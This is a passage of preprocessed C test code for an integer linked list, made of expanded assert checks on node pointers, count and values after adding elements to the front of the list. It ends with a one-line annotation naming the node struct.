    ((void) sizeof ((list -> node_first != ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first != ((void *)0)) ; else __assert_fail ("list -> node_first != NULL", "test.c", 29, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> count == 1) ? 1 : 0), __extension__ ({ if (list -> count == 1) ; else __assert_fail ("list -> count == 1", "test.c", 30, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> value == value1) ? 1 : 0), __extension__ ({ if (list -> node_first -> value == value1) ; else __assert_fail ("list -> node_first -> value == value1", "test.c", 32, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> next == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first -> next == ((void *)0)) ; else __assert_fail ("list -> node_first -> next == NULL", "test.c", 33, __extension__ __PRETTY_FUNCTION__); }));
    linked_list_int_add_first(list, value2);
    ((void) sizeof ((list -> node_first != ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first != ((void *)0)) ; else __assert_fail ("list -> node_first != NULL", "test.c", 37, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last != ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_last != ((void *)0)) ; else __assert_fail ("list -> node_last != NULL", "test.c", 38, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> count == 2) ? 1 : 0), __extension__ ({ if (list -> count == 2) ; else __assert_fail ("list -> count == 2", "test.c", 39, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first != list -> node_last) ? 1 : 0), __extension__ ({ if (list -> node_first != list -> node_last) ; else __assert_fail ("list -> node_first != list -> node_last", "test.c", 41, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> value == value2) ? 1 : 0), __extension__ ({ if (list -> node_first -> value == value2) ; else __assert_fail ("list -> node_first -> value == value2", "test.c", 43, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> next == list -> node_last) ? 1 : 0), __extension__ ({ if (list -> node_first -> next == list -> node_last) ; else __assert_fail ("list -> node_first -> next == list -> node_last", "test.c", 44, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last -> value == value1) ? 1 : 0), __extension__ ({ if (list -> node_last -> value == value1) ; else __assert_fail ("list -> node_last -> value == value1", "test.c", 45, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last -> next == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_last -> next == ((void *)0)) ; else __assert_fail ("list -> node_last -> next == NULL", "test.c", 46, __extension__ __PRETTY_FUNCTION__); }));
}

user_defined_types: struct linked_list_int_node { long value; struct linked_list_int_node *next; }